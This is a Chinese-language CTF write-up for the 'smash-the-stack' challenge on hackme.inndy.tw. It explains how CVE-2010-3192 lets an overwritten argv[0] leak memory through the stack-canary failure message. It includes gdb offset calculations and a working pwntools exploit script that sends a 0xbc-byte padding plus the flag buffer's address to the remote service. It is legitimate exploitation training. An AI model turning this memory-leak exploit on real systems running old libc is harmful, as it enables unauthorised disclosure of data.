实验Binary及答案:
https://github.com/bjrjk/pwn-learning/tree/main/Canary/smash-the-stack
Remote:
nc hackme.inndy.tw 7717
注意⚠️:本题利用的漏洞CVE-2010-3192在libc 2.26及以上版本已被修复[1],所以在自己的机器上执行应该是无效的,请直接使用Remote进行执行或者换个低版本的libc。
CVE-2010-3192原理详解请见[1]。
在这道题目里面,很难直接用IDA去看操作系统在栈上布局argv[0]
的偏移量,所以我决定使用gdb调试去计算。
利用peda-gdb
调试,输入下列命令:
file smash-the-stack
b main
run
ni
到达.text
节0x08048402
处,此时函数的序言已经执行完毕,截图如下:
观察可以发现,argv[0]
的地址是0xffffcfa4
,ebp
的值为0xffffcef8
。
在IDA中观察可知,对buf的引用都是以ebp-10h
的偏移量引用的,因此计算argv[0] - (ebp - 10h) = 0xbc
作为padding,后接要泄漏的内存地址。
可得answer.py如下:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os
context(arch = "i386",os = "linux", log_level = "debug")
p = remote("hackme.inndy.tw", 7717)
#p = process('./smash-the-stack')
elf = ELF('./smash-the-stack')
buff_bss = elf.sym['buff']
payload = 0xbc*'a' + p32(buff_bss)
p.sendline(payload)
p.interactive()
参考资料:
[1] https://renjikai.com/cve-2010-3192/
[2] https://blog.csdn.net/niexinming/article/details/78522682